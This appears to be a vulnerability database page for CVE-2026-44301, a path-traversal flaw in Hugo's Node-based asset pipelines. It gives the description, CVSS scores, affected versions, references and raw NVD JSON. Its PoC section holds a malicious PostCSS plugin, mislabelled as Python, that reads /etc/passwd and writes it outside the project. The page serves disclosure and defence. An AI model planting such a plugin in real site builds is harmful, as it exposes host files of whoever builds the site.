CVE-2026-44301

Description

Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gohugo:hugo:*:*:*:*:*:*:*:* - VULNERABLE

Hugo >= 0.43, < 0.161.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Malicious PostCSS plugin to exploit CVE-2026-44301
// Save this as part of the site's PostCSS configuration
module.exports = {
  plugins: [
    {
      postcssPlugin: 'exploit-plugin',
      Once(root) {
        const fs = require('fs');
        try {
          // Step 1: Read sensitive file from the host system
          const secretData = fs.readFileSync('/etc/passwd', 'utf8');
          
          // Step 2: Write the stolen data to a location outside the project
          fs.writeFileSync('/tmp/hugo_exploit_output.txt', secretData);
          
          console.log('[+] Exploit successful: File read and written.');
        } catch (e) {
          console.log('[-] Exploit failed:', e.message);
        }
      }
    }
  ]
};

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44301
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44301
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44301/
[4] VulDB https://vuldb.com/cve/CVE-2026-44301
[5] https://github.com/gohugoio/hugo/security/advisories/GHSA-x597-9fr4-5857

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44301", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:36.843", "lastModified": "2026-05-21T20:21:56.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gohugo:hugo:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.43", "versionEndExcluding": "0.161.0", "matchCriteriaId": "87D8FE05-004B-415E-B5C5-51ABC92D6D2A"}]}]}], "references": [{"url": "https://github.com/gohugoio/hugo/security/advisories/GHSA-x597-9fr4-5857", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}